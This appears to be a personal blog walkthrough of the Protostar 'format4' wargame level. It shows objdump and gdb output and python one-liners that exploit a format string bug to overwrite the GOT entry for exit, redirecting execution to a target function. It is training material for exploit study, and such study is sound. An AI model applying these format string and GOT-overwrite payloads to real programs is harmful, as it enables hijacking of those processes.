Monday, December 22, 2014

Protostar - Format #4


format4 looks at one method of redirecting execution in a process. (link)

Source Code:


Hmm, this one looks different from format2 and format3 in a couple ways.

First we need to redirect the execution flow (before we were just adjusting the value of a variable in memory). Second, a call to exit is inserted within the vuln code block.

My first thought was to overwrite the saved return address on the stack, but it looks like the exit call will make that fail... the program will jump to exit and terminate before ever returning!

The second thought I had was to overwrite the address saved in the Global Offset Table (GOT) for the exit function. This is what I ended up going with.

First, we'll need to get the address in the GOT where the address for exit is saved:

user@protostar:/opt/protostar/bin$ objdump -TR ./format4

./format4:     file format elf32-i386

00000000  w   D  *UND*    00000000              __gmon_start__
00000000      DF *UND*    00000000  GLIBC_2.0   fgets
00000000      DF *UND*    00000000  GLIBC_2.0   __libc_start_main
00000000      DF *UND*    00000000  GLIBC_2.0   _exit
00000000      DF *UND*    00000000  GLIBC_2.0   printf
00000000      DF *UND*    00000000  GLIBC_2.0   puts
00000000      DF *UND*    00000000  GLIBC_2.0   exit
080485ec g    DO .rodata    00000004  Base        _IO_stdin_used
08049730 g    DO .bss    00000004  GLIBC_2.0   stdin

OFFSET   TYPE              VALUE
080496fc R_386_GLOB_DAT    __gmon_start__
08049730 R_386_COPY        stdin
0804970c R_386_JUMP_SLOT   __gmon_start__
08049710 R_386_JUMP_SLOT   fgets
08049714 R_386_JUMP_SLOT   __libc_start_main
08049718 R_386_JUMP_SLOT   _exit
0804971c R_386_JUMP_SLOT   printf
08049720 R_386_JUMP_SLOT   puts
08049724 R_386_JUMP_SLOT   exit

Ok, so we also need the address of hello, so that we can replace the address for exit with the address for hello:

user@protostar:/opt/protostar/bin$ objdump -t ./format4 | grep "hello"
080484b4 g     F .text    0000001e              hello

Now that we have both of these addresses, we can go ahead with the overwriting....

Same as before, we want to figure out how far up the stack our stdin input is being placed:

user@protostar:/opt/protostar/bin$ python -c "print 'AAAAAAAA' + '%08x.'*10" | ./format4

Got it! Now to zero in on it...

user@protostar:/opt/protostar/bin$ python -c "print 'AAAA' + '%08x.'*4" | ./format4

And substitute in our target address:

user@protostar:/opt/protostar/bin$ python -c "print '\x24\x97\x04\x08' + '%08x.'*4" | ./format4

Ok, now let's try what we have so far to make sure we can get the EIP to jump to an address under our control:

user@protostar:/opt/protostar/bin$ python -c "print '\x24\x97\x04\x08' + '%08x.'*3 + '%n'" > /tmp/format4-buffer 

user@protostar:/opt/protostar/bin$ gdb ./format4
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
Reading symbols from /opt/protostar/bin/format4...done.
(gdb) run < /tmp/format4-buffer
Starting program: /opt/protostar/bin/format4 < /tmp/format4-buffer

Program received signal SIGSEGV, Segmentation fault.
0x0000001f in ?? ()

Great! We didn't send it to the right address, but we got it to go to 0x1f in this case.

Now we just need to do a bit of math to figure out how many bytes to print before the %n-- we want it to equal the 0x080484b4 from before:

python -c "print '\x24\x97\x04\x08' + '%44837946x.'*3 + '%n'" | ./format4

code execution redirected! you win

1 comment: